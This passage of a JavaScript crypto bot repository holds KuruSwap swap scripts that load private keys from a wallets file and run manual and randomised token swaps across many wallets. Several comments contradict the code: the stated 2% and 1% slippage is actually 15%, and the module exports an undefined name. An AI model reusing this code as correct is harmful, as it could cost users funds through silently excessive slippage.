console.log(`🚀 Deposit Tx Sent! For - ${tokenTicket} - [${chain.TX_EXPLORER}${tx.hash}]`.magenta); 231 | const receipt = await tx.wait(); 232 | console.log(`✅ Deposit Tx Confirmed in Block - [${receipt.blockNumber}]`.green); 233 | } catch (error) { 234 | if (error.code === "CALL_EXCEPTION" || (error.message && error.message.includes("CALL_EXCEPTION"))) { 235 | console.error(`❌ CALL_EXCEPTION: Transaction failed for wallet [${walletInfo.address}] on token ${tokenTicket}.`.red); 236 | } else if (error.message && error.message.includes("insufficient balance")) { 237 | const walletBalance = await wallet.getBalance(); 238 | console.error(`❌ Wallet [${walletInfo.address}] is out of funds for staking. Balance: ${ethers.utils.formatEther(walletBalance)} ${chain.SYMBOL}`.red); 239 | } else { 240 | console.error(`❌ Error staking token ${tokenTicket} for wallet [${walletInfo.address}]: ${error.message}`.red); 241 | } 242 | } 243 | await sleep(2000); // 2-second delay between each asset stake 244 | } 245 | await sleep(2000); // 2-second delay between wallets 246 | } 247 | } 248 | 249 | // After finishing, prompt to return to Multipli main menu 250 | await inquirer.prompt([ 251 | { 252 | type: 'input', 253 | name: 'back', 254 | message: 'Press ENTER to return to the Multipli main menu...' 255 | } 256 | ]); 257 | main(); // Restart main menu 258 | } 259 | 260 | main(); 261 | -------------------------------------------------------------------------------- /actions/KuruSwap/swap.js: -------------------------------------------------------------------------------- 1 | /********************************************************************* 2 | * swap.js 3 | * 4 | * Performs a swap using anyToAnySwap. 5 | * 6 | * For calculatePriceOverRoute, we use: 7 | * - isBuy = false for MON → TOKEN swaps (selling MON) 8 | * - isBuy = true for TOKEN → MON swaps (selling token to get MON) 9 | * 10 | * The rate R (with 18 decimals) returned represents the full conversion rate: 11 | * 12 | * • For MON → TOKEN: 1 MON = (R / 1e18) TOKEN (human units) 13 | * • For TOKEN → MON: 1 TOKEN = (R / 1e18) MON (human units) 14 | * 15 | * To ensure the correct _amount is sent to the router, if the token’s 16 | * decimals are less than 18, we normalize the value by multiplying by 17 | * 10^(18 - token.decimals) (obtained dynamically via the decimals() function). 18 | * 19 | * Expected output is calculated as: 20 | * - If source is MON: 21 | * ExpectedOut (raw TOKEN) = (amountIn (raw MON) * R) / 1e18 22 | * - If target is MON: 23 | * ExpectedOut (raw MON) = (normalized amountIn (raw TOKEN scaled to 18) * R) / 1e36 24 | * 25 | * Then a 2% slippage is applied. 26 | *********************************************************************/ 27 | 28 | const inquirer = require("inquirer"); 29 | const { ethers } = require("ethers"); 30 | const chalk = require("chalk"); 31 | const clear = require("console-clear"); 32 | 33 | const { 34 | KURU_UTILS_ABIS, 35 | KURU_UTILS_ADDRESS, 36 | ROUTER_ABIS, 37 | MON_ADDRESS, 38 | WMON_ADDRESS, 39 | ROUTER_ADDRESS 40 | } = require("./ABI"); 41 | 42 | const STANDARD_TOKEN_ABI = [ 43 | "function approve(address spender, uint256 amount) external returns (bool)", 44 | "function allowance(address owner, address spender) external view returns (uint256)", 45 | "function balanceOf(address account) external view returns (uint256)", 46 | "function name() external view returns (string)", 47 | "function symbol() external view returns (string)", 48 | "function decimals() external view returns (uint8)" 49 | ]; 50 | 51 | const { RPC_URL, TX_EXPLORER } = require("../../utils/chain"); 52 | const wallets = require("../../utils/wallets.json"); 53 | const { filterMarketPools } = require("./scripts/apis"); 54 | 55 | // Now, we remove static decimals from tokenList: 56 | let tokenList = [ 57 | { symbol: "MON", contract: MON_ADDRESS, native: true }, 58 | { symbol: "WMON", contract: WMON_ADDRESS, native: false }, 59 | { symbol: "CHOG", contract: "0xe0590015a873bf326bd645c3e1266d4db41c4e6b", native: false }, 60 | { symbol: "DAK", contract: "0x0F0BDEbF0F83cD1EE3974779Bcb7315f9808c714", native: false }, 61 | { symbol: "YAKI", contract: "0xfe140e1dCe99Be9F4F15d657CD9b7BF622270C50", native: false }, 62 | { symbol: "Other", contract: null, native: false } 63 | ]; 64 | 65 | async function getTokenDecimals(provider, tokenAddress) { 66 | const token = new ethers.Contract(tokenAddress, STANDARD_TOKEN_ABI, provider); 67 | const decimals = await token.decimals(); 68 | return decimals; 69 | } 70 | 71 | async function getERC20Data(provider, tokenAddress) { 72 | const token = new ethers.Contract(tokenAddress, STANDARD_TOKEN_ABI, provider); 73 | const [name, symbol, decimals] = await Promise.all([ 74 | token.name(), 75 | token.symbol(), 76 | token.decimals() 77 | ]); 78 | return { name, symbol, decimals }; 79 | } 80 | 81 | async function approveTokenIfNeeded(wallet, tokenAddress, amount, spender) { 82 | const token = new ethers.Contract(tokenAddress, STANDARD_TOKEN_ABI, wallet); 83 | const allowance = await token.allowance(wallet.address, spender); 84 | if (allowance.lt(amount)) { 85 | const tokenData = await getERC20Data(wallet.provider, tokenAddress); 86 | console.log(chalk.cyan(`Approving token [${tokenData.symbol}] for router usage...`)); 87 | const tx = await token.approve(spender, ethers.constants.MaxUint256); 88 | await tx.wait(); 89 | console.log(chalk.cyan("Token approved.")); 90 | } 91 | } 92 | 93 | async function getTokenBalance(provider, wallet, token) { 94 | if (token.native) { 95 | return ethers.utils.formatEther(await provider.getBalance(wallet.address)); 96 | } else { 97 | const contract = new ethers.Contract(token.contract, STANDARD_TOKEN_ABI, provider); 98 | let decimals = await getTokenDecimals(provider, token.contract); 99 | let formatted = ethers.utils.formatUnits(await contract.balanceOf(wallet.address), decimals); 100 | // For display, if token has 6 decimals, adjust for human-readability (optional) 101 | if (decimals === 6) { 102 | formatted = (parseFloat(formatted) / 1e0).toFixed(5); 103 | } 104 | return formatted; 105 | } 106 | } 107 | 108 | async function chooseWallet(provider) { 109 | const { walletChoice } = await inquirer.prompt([ 110 | { 111 | type: "list", 112 | name: "walletChoice", 113 | message: "On which addresses would you like to operate?", 114 | choices: [ 115 | { name: "All Wallets", value: "all" }, 116 | { name: "Specific ID", value: "specific" } 117 | ] 118 | } 119 | ]); 120 | let selectedWallets = []; 121 | if (walletChoice === "all") { 122 | selectedWallets = wallets.map(w => new ethers.Wallet(w.privateKey, provider)); 123 | } else { 124 | const { walletId } = await inquirer.prompt([ 125 | { 126 | type: "input", 127 | name: "walletId", 128 | message: "Please insert the wallet ID to use:", 129 | validate: input => !isNaN(input) && Number(input) > 0 ? true : "Enter a valid wallet ID" 130 | } 131 | ]); 132 | const walletInfo = wallets.find(w => w.id === Number(walletId)); 133 | if (!walletInfo) { 134 | console.log(chalk.red("Wallet not found.")); 135 | process.exit(1); 136 | } 137 | selectedWallets.push(new ethers.Wallet(walletInfo.privateKey, provider)); 138 | } 139 | return selectedWallets[0]; 140 | } 141 | 142 | async function chooseTokens(provider) { 143 | const { sourceTokenChoice } = await inquirer.prompt([ 144 | { 145 | type: "list", 146 | name: "sourceTokenChoice", 147 | message: "Select the source token:", 148 | choices: tokenList.map(t => ({ name: t.symbol, value: t.symbol })) 149 | } 150 | ]); 151 | let sourceToken = tokenList.find(t => t.symbol === sourceTokenChoice); 152 | if (sourceTokenChoice === "Other") { 153 | const { contract } = await inquirer.prompt([ 154 | { type: "input", name: "contract", message: "Enter token contract address:" } 155 | ]); 156 | const data = await getERC20Data(provider, contract); 157 | sourceToken = { symbol: data.symbol, contract, native: false }; 158 | } 159 | const { targetTokenChoice } = await inquirer.prompt([ 160 | { 161 | type: "list", 162 | name: "targetTokenChoice", 163 | message: "Select the target token:", 164 | choices: tokenList.map(t => ({ name: t.symbol, value: t.symbol })) 165 | } 166 | ]); 167 | let targetToken = tokenList.find(t => t.symbol === targetTokenChoice); 168 | if (targetTokenChoice === "Other") { 169 | const { contract } = await inquirer.prompt([ 170 | { type: "input", name: "contract", message: "Enter token contract address:" } 171 | ]); 172 | const data = await getERC20Data(provider, contract); 173 | targetToken = { symbol: data.symbol, contract, native: false }; 174 | } 175 | return { sourceToken, targetToken }; 176 | } 177 | 178 | async function runSwap(provider, activeWallet) { 179 | clear(); 180 | 181 | const { sourceToken, targetToken } = await chooseTokens(provider); 182 | 183 | const sourceBalanceBefore = await getTokenBalance(provider, activeWallet, sourceToken); 184 | const targetBalanceBefore = await getTokenBalance(provider, activeWallet, targetToken); 185 | console.log(chalk.green(`Wallet selected: [${activeWallet.address}]`)); 186 | console.log(chalk.green(`${sourceToken.symbol} balance: ${sourceBalanceBefore}`)); 187 | console.log(chalk.green(`${targetToken.symbol} balance: ${targetBalanceBefore}`)); 188 | 189 | const { swapAmountInput } = await inquirer.prompt([ 190 | { 191 | type: "input", 192 | name: "swapAmountInput", 193 | message: `Enter the amount of ${sourceToken.symbol} to swap:`, 194 | validate: input => !isNaN(input) && Number(input) > 0 ? true : "Enter a positive number" 195 | } 196 | ]); 197 | 198 | let amountIn; 199 | // For MON, use 18 decimals; if target is MON (TOKEN → MON), force input to 18 decimals. 200 | if (sourceToken.symbol === "MON") { 201 | amountIn = ethers.utils.parseEther(swapAmountInput); 202 | } else if (targetToken.symbol === "MON") { 203 | amountIn = ethers.utils.parseUnits(swapAmountInput, 18); 204 | } else { 205 | amountIn = ethers.utils.parseUnits(swapAmountInput, 18); 206 | } 207 | 208 | // Normalize amountIn for tokens with less than 18 decimals: 209 | let sourceDecimals = 18; 210 | if (!sourceToken.native) { 211 | sourceDecimals = await getTokenDecimals(provider, sourceToken.contract); 212 | } 213 | if (sourceDecimals < 18) { 214 | const factor = ethers.BigNumber.from("10").pow(18 - sourceDecimals); 215 | amountIn = amountIn.mul(factor); 216 | } 217 | 218 | const pair = { 219 | baseToken: sourceToken.contract, 220 | quoteToken: targetToken.contract 221 | }; 222 | 223 | console.log(chalk.cyan("Querying pool for the pair...")); 224 | let poolResponse; 225 | try { 226 | poolResponse = await filterMarketPools([pair]); 227 | } catch (error) { 228 | console.error(chalk.red("Error filtering market pools:"), error); 229 | return; 230 | } 231 | 232 | let poolAddress; 233 | let routeIsInverted = false; 234 | if (poolResponse.data && poolResponse.data.length > 0) { 235 | poolAddress = poolResponse.data[0].market; 236 | } else { 237 | console.log(chalk.yellow(`No pool found for [${sourceToken.symbol}/${targetToken.symbol}]. Trying inverted pair...`)); 238 | const invertedPair = { 239 | baseToken: targetToken.contract, 240 | quoteToken: sourceToken.contract 241 | }; 242 | let poolResponseInverted; 243 | try { 244 | poolResponseInverted = await filterMarketPools([invertedPair]); 245 | } catch (error) { 246 | console.error(chalk.red("Error filtering market pools (inverted):"), error); 247 | return; 248 | } 249 | if (poolResponseInverted.data && poolResponseInverted.data.length > 0) { 250 | poolAddress = poolResponseInverted.data[0].market; 251 | routeIsInverted = true; 252 | console.log(chalk.green(`Using inverted route for pool query [${targetToken.symbol}/${sourceToken.symbol}]`)); 253 | } else { 254 | console.error(chalk.red(`No route found for Pool [${sourceToken.symbol}/${targetToken.symbol}] or its inversion.`)); 255 | return; 256 | } 257 | } 258 | console.log(chalk.green("Pool address:"), poolAddress); 259 | 260 | // For anyToAnySwap: 261 | // When source is MON: isBuy = true, nativeSend = true. 262 | // When target is MON: isBuy = false, nativeSend = false. 263 | let isBuy, nativeSend, debitToken, creditToken; 264 | if (sourceToken.symbol === "MON") { 265 | isBuy = [true]; 266 | nativeSend = [true]; 267 | debitToken = MON_ADDRESS; 268 | creditToken = targetToken.contract; 269 | } else if (targetToken.symbol === "MON") { 270 | isBuy = [false]; 271 | nativeSend = [false]; 272 | debitToken = sourceToken.contract; 273 | creditToken = MON_ADDRESS; 274 | } else { 275 | isBuy = [false]; 276 | nativeSend = [false]; 277 | debitToken = sourceToken.contract; 278 | creditToken = targetToken.contract; 279 | } 280 | 281 | if (!sourceToken.native && sourceToken.symbol !== "MON") { 282 | await approveTokenIfNeeded(activeWallet, sourceToken.contract, amountIn, ROUTER_ADDRESS); 283 | } 284 | if (!targetToken.native && targetToken.symbol === "MON") { 285 | await approveTokenIfNeeded(activeWallet, targetToken.contract, amountIn, ROUTER_ADDRESS); 286 | } 287 | 288 | // Use calculatePriceOverRoute with: 289 | // For MON → TOKEN: isBuy = false. 290 | // For TOKEN → MON: isBuy = true. 291 | const kuruUtils = new ethers.Contract(KURU_UTILS_ADDRESS, KURU_UTILS_ABIS, provider); 292 | let priceForOne; 293 | try { 294 | const utilsIsBuy = (sourceToken.symbol === "MON") ? [false] : (targetToken.symbol === "MON") ? [true] : [false]; 295 | priceForOne = await kuruUtils.calculatePriceOverRoute([poolAddress], utilsIsBuy); 296 | console.log(chalk.magenta(`\nRate returned (uint256): ${priceForOne.toString()}`)); 297 | } catch (error) { 298 | console.error(chalk.red("Error calling calculatePriceOverRoute:"), error); 299 | return; 300 | } 301 | 302 | const ONE = ethers.constants.WeiPerEther; 303 | let expectedOut; // Expected output in raw units 304 | if (targetToken.symbol === "MON") { 305 | // Swap: TOKEN → MON. 306 | // Expected human MON = (amountIn (raw TOKEN, forced to 18) * R) / 1e18. 307 | // => Raw MON = (amountIn * R) / 1e18. 308 | expectedOut = amountIn.mul(priceForOne).div(ONE); 309 | } else if (sourceToken.symbol === "MON") { 310 | // Swap: MON → TOKEN. 311 | // Expected human TOKEN = (amountIn (raw MON) * R) / 1e18. 312 | // => Raw TOKEN = Expected human TOKEN * 10^(targetDecimals) but then normalized to 18 scale. 313 | expectedOut = amountIn.mul(priceForOne).div(ONE); 314 | } else { 315 | expectedOut = ethers.BigNumber.from("0"); 316 | } 317 | 318 | // Apply 2% slippage: multiply by 98/100. 319 | const slippageFactor = ethers.BigNumber.from("85"); 320 | const slippageDivisor = ethers.BigNumber.from("100"); 321 | const expectedOutWithSlippage = expectedOut.mul(slippageFactor).div(slippageDivisor); 322 | 323 | // For display, print expected amount in wei. 324 | console.log(chalk.cyan(`[Expected Amount to Receive: ${targetToken.symbol} ${expectedOutWithSlippage.toString()} wei]`)); 325 | 326 | // Set up transaction parameters. 327 | const randomGasLimit = Math.floor(Math.random() * (280000 - 180000 + 1)) + 180000; 328 | const block = await provider.getBlock("latest"); 329 | const baseFee = block.baseFeePerGas; 330 | const feeMultiplier = 1.15; 331 | const maxFeePerGas = baseFee.mul(Math.floor(feeMultiplier * 100)).div(100); 332 | const maxPriorityFeePerGas = maxFeePerGas; 333 | 334 | const router = new ethers.Contract(ROUTER_ADDRESS, ROUTER_ABIS, activeWallet); 335 | console.log(chalk.cyan(`Swapping ${swapAmountInput} ${sourceToken.symbol} for ${targetToken.symbol}...`)); 336 | 337 | const txOverrides = { 338 | gasLimit: randomGasLimit, 339 | maxFeePerGas, 340 | maxPriorityFeePerGas, 341 | value: sourceToken.native ? amountIn : 0 342 | }; 343 | 344 | try { 345 | const tx = await router.anyToAnySwap( 346 | [poolAddress], 347 | isBuy, 348 | nativeSend, 349 | debitToken, 350 | creditToken, 351 | amountIn, 352 | expectedOutWithSlippage, 353 | txOverrides 354 | ); 355 | console.log(chalk.cyan(`Swap Tx sent! ${TX_EXPLORER}${tx.hash}`)); 356 | const receipt = await tx.wait(); 357 | console.log(chalk.magenta(`Tx confirmed in block ${receipt.blockNumber}`)); 358 | } catch (error) { 359 | if (error.code === "CALL_EXCEPTION") { 360 | console.error(chalk.red("Swap transaction failed: CALL_EXCEPTION. Please check your inputs and try again.")); 361 | } else { 362 | console.error(chalk.red("Swap transaction error:"), error); 363 | } 364 | return; 365 | } 366 | 367 | const sourceBalanceAfter = await getTokenBalance(provider, activeWallet, sourceToken); 368 | const targetBalanceAfter = await getTokenBalance(provider, activeWallet, targetToken); 369 | console.log(chalk.green("Balances after swap:")); 370 | console.log(chalk.green(`${sourceToken.symbol} balance: ${sourceBalanceAfter}`)); 371 | console.log(chalk.green(`${targetToken.symbol} balance: ${targetBalanceAfter}`)); 372 | } 373 | 374 | async function main() { 375 | clear(); 376 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 377 | let activeWallet = await chooseWallet(provider); 378 | let continueSwap = true; 379 | 380 | while (continueSwap) { 381 | await runSwap(provider, activeWallet); 382 | 383 | const { anotherSwap } = await inquirer.prompt([ 384 | { 385 | type: "confirm", 386 | name: "anotherSwap", 387 | message: "Would you like to perform another swap?", 388 | default: false 389 | } 390 | ]); 391 | 392 | if (!anotherSwap) { 393 | continueSwap = false; 394 | console.log(chalk.cyan("Exiting swap.")); 395 | break; 396 | } 397 | 398 | const { useSameWallet } = await inquirer.prompt([ 399 | { 400 | type: "confirm", 401 | name: "useSameWallet", 402 | message: "Would you like to use the same wallet?", 403 | default: true 404 | } 405 | ]); 406 | 407 | if (!useSameWallet) { 408 | activeWallet = await chooseWallet(provider); 409 | } 410 | 411 | clear(); 412 | } 413 | } 414 | 415 | main().catch(error => { 416 | console.error(chalk.red("Error:"), error); 417 | }); 418 | 419 | module.exports = { payloadTxData }; -------------------------------------------------------------------------------- /actions/KuruSwap/random.js: -------------------------------------------------------------------------------- 1 | /********************************************************************* 2 | * random.js 3 | * 4 | * This script automatically performs a random number (between 5 and 10) 5 | * of swaps for each wallet defined in wallets.json. It only supports 6 | * swaps between MON and another TOKEN (excluding WMON), according to: 7 | * 8 | * 1. If the wallet only holds MON, a random amount between 0.01 and 0.04 MON 9 | * is swapped (MON → TOKEN). 10 | * 2. For TOKEN → MON swaps, a random percentage (between 10% and 30%) of the 11 | * token's total balance (rounded to 2 decimals) is swapped. 12 | * 13 | * If an error "Signer had insufficient balance" occurs during any swap, 14 | * the wallet is omitted. 15 | * 16 | * The console output format is adapted to match the BeanSwap random swaps style. 17 | *********************************************************************/ 18 | 19 | const { ethers, BigNumber } = require("ethers"); 20 | const chalk = require("chalk"); 21 | const clear = require("console-clear"); 22 | 23 | // Import ABIs and addresses for KuruSwap 24 | const { 25 | KURU_UTILS_ABIS, 26 | KURU_UTILS_ADDRESS, 27 | ROUTER_ABIS, 28 | MON_ADDRESS, 29 | ROUTER_ADDRESS 30 | } = require("./ABI"); 31 | 32 | const { RPC_URL, TX_EXPLORER } = require("../../utils/chain"); 33 | const wallets = require("../../utils/wallets.json"); 34 | const { filterMarketPools } = require("./scripts/apis"); 35 | 36 | // Define token list excluding WMON and with corrected checksum for YAKI 37 | let tokenList = [ 38 | { symbol: "MON", contract: MON_ADDRESS, native: true }, 39 | { symbol: "CHOG", contract: "0xe0590015a873bf326bd645c3e1266d4db41c4e6b", native: false }, 40 | { symbol: "DAK", contract: "0x0F0BDEbF0F83cD1EE3974779Bcb7315f9808c714", native: false }, 41 | { symbol: "YAKI", contract: "0xfe140e1dCe99Be9F4F15d657CD9b7BF622270C50", native: false } 42 | ]; 43 | 44 | // Get token decimals dynamically 45 | async function getTokenDecimals(provider, tokenAddress) { 46 | const token = new ethers.Contract(tokenAddress, [ 47 | "function decimals() external view returns (uint8)" 48 | ], provider); 49 | return await token.decimals(); 50 | } 51 | 52 | // Get ERC20 token data (name, symbol, decimals) 53 | async function getERC20Data(provider, tokenAddress) { 54 | const token = new ethers.Contract(tokenAddress, [ 55 | "function name() external view returns (string)", 56 | "function symbol() external view returns (string)", 57 | "function decimals() external view returns (uint8)" 58 | ], provider); 59 | const [name, symbol, decimals] = await Promise.all([ 60 | token.name(), 61 | token.symbol(), 62 | token.decimals() 63 | ]); 64 | return { name, symbol, decimals }; 65 | } 66 | 67 | // Approve token if needed 68 | async function approveTokenIfNeeded(wallet, tokenAddress, amount, spender) { 69 | const token = new ethers.Contract(tokenAddress, [ 70 | "function approve(address spender, uint256 amount) external returns (bool)", 71 | "function allowance(address owner, address spender) external view returns (uint256)" 72 | ], wallet); 73 | const allowance = await token.allowance(wallet.address, spender); 74 | if (allowance.lt(amount)) { 75 | const tokenData = await getERC20Data(wallet.provider, tokenAddress); 76 | console.log(chalk.cyan(`⚙️ Approving [${tokenData.symbol}] for router usage...`)); 77 | const tx = await token.approve(spender, ethers.constants.MaxUint256); 78 | await tx.wait(); 79 | console.log(chalk.cyan(`✅ [${tokenData.symbol}] Approved`)); 80 | } 81 | } 82 | 83 | // Get token balance in human-readable format 84 | async function getTokenBalance(provider, wallet, token) { 85 | if (token.native) { 86 | return ethers.utils.formatEther(await provider.getBalance(wallet.address)); 87 | } else { 88 | const contract = new ethers.Contract(token.contract, [ 89 | "function balanceOf(address account) external view returns (uint256)" 90 | ], provider); 91 | let decimals = await getTokenDecimals(provider, token.contract); 92 | return ethers.utils.formatUnits(await contract.balanceOf(wallet.address), decimals); 93 | } 94 | } 95 | 96 | // Sleep helper 97 | function sleep(ms) { 98 | return new Promise(resolve => setTimeout(resolve, ms)); 99 | } 100 | 101 | /** 102 | * Executes a swap between sourceToken and targetToken for a given amountIn. 103 | */ 104 | async function executeSwap(provider, wallet, sourceToken, targetToken, amountIn) { 105 | // 🔍 Query pool for the pair 106 | console.log(chalk.cyan("🔍 Querying pool for the pair...")); 107 | const pair = { 108 | baseToken: sourceToken.contract, 109 | quoteToken: targetToken.contract 110 | }; 111 | 112 | let poolResponse; 113 | let poolAddress; 114 | let routeIsInverted = false; 115 | try { 116 | poolResponse = await filterMarketPools([pair]); 117 | } catch (error) { 118 | console.error(chalk.red("❌ Error querying pool:"), error); 119 | return; 120 | } 121 | 122 | if (poolResponse.data && poolResponse.data.length > 0) { 123 | poolAddress = poolResponse.data[0].market; 124 | } else { 125 | console.log(chalk.yellow(`No pool found for [${sourceToken.symbol}/${targetToken.symbol}]. Trying inverted pair...`)); 126 | const invertedPair = { 127 | baseToken: targetToken.contract, 128 | quoteToken: sourceToken.contract 129 | }; 130 | let poolResponseInverted; 131 | try { 132 | poolResponseInverted = await filterMarketPools([invertedPair]); 133 | } catch (error) { 134 | console.error(chalk.red("❌ Error querying inverted pool:"), error); 135 | return; 136 | } 137 | if (poolResponseInverted.data && poolResponseInverted.data.length > 0) { 138 | poolAddress = poolResponseInverted.data[0].market; 139 | routeIsInverted = true; 140 | console.log(chalk.green(`Using inverted route for pool [${targetToken.symbol}/${sourceToken.symbol}]`)); 141 | } else { 142 | console.error(chalk.red(`❌ No route found for pool [${sourceToken.symbol}/${targetToken.symbol}] or its inversion.`)); 143 | return; 144 | } 145 | } 146 | console.log(chalk.green("📌 Pool address:"), poolAddress); 147 | 148 | // Set parameters based on swap direction: 149 | // For MON ↔ TOKEN swaps: 150 | // - If source is MON: router: isBuy = [true], nativeSend = [true] (but for calculatePriceOverRoute use isBuy = [false]) 151 | // - If target is MON: router: isBuy = [false], nativeSend = [false] (for calculatePriceOverRoute use isBuy = [true]) 152 | let isBuy, nativeSend, debitToken, creditToken, utilsIsBuy; 153 | if (sourceToken.symbol === "MON") { 154 | isBuy = [true]; 155 | nativeSend = [true]; 156 | debitToken = MON_ADDRESS; 157 | creditToken = targetToken.contract; 158 | utilsIsBuy = [false]; 159 | } else if (targetToken.symbol === "MON") { 160 | isBuy = [false]; 161 | nativeSend = [false]; 162 | debitToken = sourceToken.contract; 163 | creditToken = MON_ADDRESS; 164 | utilsIsBuy = [true]; 165 | } else { 166 | console.error(chalk.red("❌ Unsupported swap: only MON ↔ TOKEN swaps are allowed.")); 167 | return; 168 | } 169 | 170 | // Approve tokens if required 171 | if (!sourceToken.native && sourceToken.symbol !== "MON") { 172 | await approveTokenIfNeeded(wallet, sourceToken.contract, amountIn, ROUTER_ADDRESS); 173 | } 174 | if (!targetToken.native && targetToken.symbol === "MON") { 175 | await approveTokenIfNeeded(wallet, targetToken.contract, amountIn, ROUTER_ADDRESS); 176 | } 177 | 178 | // Call calculatePriceOverRoute to obtain conversion rate 179 | const kuruUtils = new ethers.Contract(KURU_UTILS_ADDRESS, KURU_UTILS_ABIS, provider); 180 | let priceForOne; 181 | try { 182 | priceForOne = await kuruUtils.calculatePriceOverRoute([poolAddress], utilsIsBuy); 183 | console.log(chalk.magenta(`🔮 Conversion rate returned (uint256): ${priceForOne.toString()}`)); 184 | } catch (error) { 185 | console.error(chalk.red("❌ Error calling calculatePriceOverRoute:"), error); 186 | return; 187 | } 188 | 189 | const ONE = ethers.constants.WeiPerEther; 190 | // Calculate expected output (raw units) 191 | let expectedOut = amountIn.mul(priceForOne).div(ONE); 192 | // Apply 1% slippage 193 | const slippageFactor = BigNumber.from("85"); 194 | const slippageDivisor = BigNumber.from("100"); 195 | const expectedOutWithSlippage = expectedOut.mul(slippageFactor).div(slippageDivisor); 196 | 197 | console.log(chalk.cyan(`🔮 Expected Amount to Receive: [${targetToken.symbol} ${expectedOutWithSlippage.toString()} wei]`)); 198 | 199 | // Set random gas limit and fee parameters 200 | const randomGasLimit = Math.floor(Math.random() * (280000 - 180000 + 1)) + 180000; 201 | const block = await provider.getBlock("latest"); 202 | const baseFee = block.baseFeePerGas; 203 | const feeMultiplier = 1.15; 204 | const maxFeePerGas = baseFee.mul(Math.floor(feeMultiplier * 100)).div(100); 205 | const maxPriorityFeePerGas = maxFeePerGas; 206 | 207 | const router = new ethers.Contract(ROUTER_ADDRESS, ROUTER_ABIS, wallet); 208 | 209 | // Convert amountIn to human-readable format instead of wei 210 | let formattedAmountIn; 211 | if (sourceToken.native) { 212 | formattedAmountIn = ethers.utils.formatEther(amountIn); 213 | } else { 214 | const decimals = await getTokenDecimals(provider, sourceToken.contract); 215 | formattedAmountIn = ethers.utils.formatUnits(amountIn, decimals); 216 | } 217 | console.log(chalk.cyan(`🔄 Executing swap: ${sourceToken.symbol} → ${targetToken.symbol}`)); 218 | console.log(chalk.cyan(`💰 Amount In: ${formattedAmountIn} ${sourceToken.symbol}`)); 219 | 220 | const txOverrides = { 221 | gasLimit: randomGasLimit, 222 | maxFeePerGas, 223 | maxPriorityFeePerGas, 224 | value: sourceToken.native ? amountIn : 0 225 | }; 226 | 227 | try { 228 | const tx = await router.anyToAnySwap( 229 | [poolAddress], 230 | isBuy, 231 | nativeSend, 232 | debitToken, 233 | creditToken, 234 | amountIn, 235 | expectedOutWithSlippage, 236 | txOverrides 237 | ); 238 | console.log(chalk.cyan(`🚀 Swap Tx sent! ${TX_EXPLORER}${tx.hash}`)); 239 | const receipt = await tx.wait(); 240 | console.log(chalk.cyan(`✅ Tx confirmed in block ${receipt.blockNumber}`)); 241 | } catch (error) { 242 | // Propagate error if it's due to insufficient balance 243 | if (error.message && error.message.includes("insufficient balance")) { 244 | throw error; 245 | } 246 | if (error.code === "CALL_EXCEPTION") { 247 | console.error(chalk.red("❌ Swap transaction failed: CALL_EXCEPTION. Check your parameters and try again.")); 248 | } else { 249 | console.error(chalk.red("❌ Swap transaction error:"), error); 250 | } 251 | return; 252 | } 253 | 254 | // Display updated balances 255 | const sourceBalanceAfter = await getTokenBalance(provider, wallet, sourceToken); 256 | const targetBalanceAfter = await getTokenBalance(provider, wallet, targetToken); 257 | console.log(chalk.gray(`After Swap - [${sourceToken.symbol}]: ${sourceBalanceAfter}`)); 258 | console.log(chalk.gray(`After Swap - [${targetToken.symbol}]: ${targetBalanceAfter}`)); 259 | } 260 | 261 | /** 262 | * Performs between 5 and 10 random swaps for a given wallet. 263 | */ 264 | async function performRandomSwaps(provider, wallet) { 265 | console.log(chalk.yellow(`\nWallet [${wallet.address}]`)); 266 | 267 | // Get MON balance 268 | const monToken = tokenList.find(t => t.symbol === "MON"); 269 | let monBalance = parseFloat(await getTokenBalance(provider, wallet, monToken)); 270 | 271 | // Get balances for other tokens (excluding MON) 272 | let tokenBalances = {}; 273 | for (let token of tokenList) { 274 | if (token.symbol === "MON") continue; 275 | const balanceStr = await getTokenBalance(provider, wallet, token); 276 | tokenBalances[token.symbol] = parseFloat(balanceStr); 277 | } 278 | 279 | // Determine if wallet holds only MON 280 | let onlyMon = true; 281 | for (let sym in tokenBalances) { 282 | if (tokenBalances[sym] > 0) { 283 | onlyMon = false; 284 | break; 285 | } 286 | } 287 | 288 | // Random number of swaps between 5 and 10 289 | const numSwaps = Math.floor(Math.random() * 6) + 5; 290 | console.log(chalk.cyan(`👉 Performing ${numSwaps} random swaps...`)); 291 | 292 | for (let i = 0; i < numSwaps; i++) { 293 | console.log(chalk.magenta(`\n[Swap #${i + 1}]`)); 294 | let swapDirection; 295 | if (onlyMon) { 296 | swapDirection = "MON_TO_TOKEN"; 297 | } else { 298 | if (monBalance <= 0) { 299 | swapDirection = "TOKEN_TO_MON"; 300 | } else { 301 | swapDirection = Math.random() < 0.5 ? "MON_TO_TOKEN" : "TOKEN_TO_MON"; 302 | } 303 | } 304 | 305 | if (swapDirection === "MON_TO_TOKEN") { 306 | // Swap a random amount between 0.01 and 0.04 MON, rounded to 2 decimals 307 | let amount = Math.random() * (0.04 - 0.01) + 0.01; 308 | amount = parseFloat(amount.toFixed(2)); 309 | if (amount > monBalance) amount = monBalance; 310 | // Randomly select a target token (excluding MON) 311 | const availableTokens = tokenList.filter(t => t.symbol !== "MON"); 312 | const targetToken = availableTokens[Math.floor(Math.random() * availableTokens.length)]; 313 | console.log(chalk.cyan(`🔄 Swap: MON → ${targetToken.symbol} | Amount: ${amount} MON`)); 314 | 315 | const amountIn = ethers.utils.parseEther(amount.toString()); 316 | // Display balances before swap 317 | const balanceBefore_MON = await getTokenBalance(provider, wallet, monToken); 318 | const balanceBefore_TARGET = await getTokenBalance(provider, wallet, targetToken); 319 | console.log(chalk.gray(`Before Swap - [MON]: ${balanceBefore_MON}`)); 320 | console.log(chalk.gray(`Before Swap - [${targetToken.symbol}]: ${balanceBefore_TARGET}`)); 321 | 322 | await executeSwap(provider, wallet, monToken, targetToken, amountIn); 323 | } else if (swapDirection === "TOKEN_TO_MON") { 324 | // Select randomly a token (excluding MON) with balance > 0 325 | const tokensWithBalance = tokenList.filter(t => t.symbol !== "MON" && tokenBalances[t.symbol] > 0); 326 | if (tokensWithBalance.length === 0) { 327 | console.log(chalk.yellow("\n⚠️ No token balance available for TOKEN → MON swap. Skipping this swap.")); 328 | continue; 329 | } 330 | const selectedToken = tokensWithBalance[Math.floor(Math.random() * tokensWithBalance.length)]; 331 | const tokenBalance = tokenBalances[selectedToken.symbol]; 332 | // Random percentage between 10 and 30% 333 | let percentage = Math.random() * (30 - 10) + 10; 334 | percentage = parseFloat(percentage.toFixed(2)); 335 | let amount = tokenBalance * 